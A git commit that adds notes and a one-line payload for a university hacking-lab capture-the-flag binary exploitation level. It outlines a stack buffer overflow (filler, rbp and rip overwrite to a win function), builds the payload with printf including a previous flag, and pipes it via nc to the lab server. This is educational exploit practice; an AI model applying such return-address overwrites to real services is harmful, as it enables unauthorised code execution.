This commit is contained in:
2026-01-05 05:23:50 +01:00
parent a16c96b643
commit 9eb8476319
2 changed files with 7 additions and 0 deletions

BIN
4/level2/input.txt Normal file

Binary file not shown.

7
4/level2/test Normal file
View File

@@ -0,0 +1,7 @@
last key
32 byte filler
overwrite rbp with sane address (doesnt need to be specific, just dont segfault bc of memory region)
overwrite rip with address of win
printf 'hacklab{why_c4n7_y0u_ju57_d0_th3_m4th_eBPiC6YB}\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x90\xde\xff\xff\xff\x7f\x00\00\x96\x11\x40\00\00\00\00\00\ncat flag.txt\n' > input.txt
cat input.txt | nc binexp.stud12.hacklab.ias.tu-bs.de 4002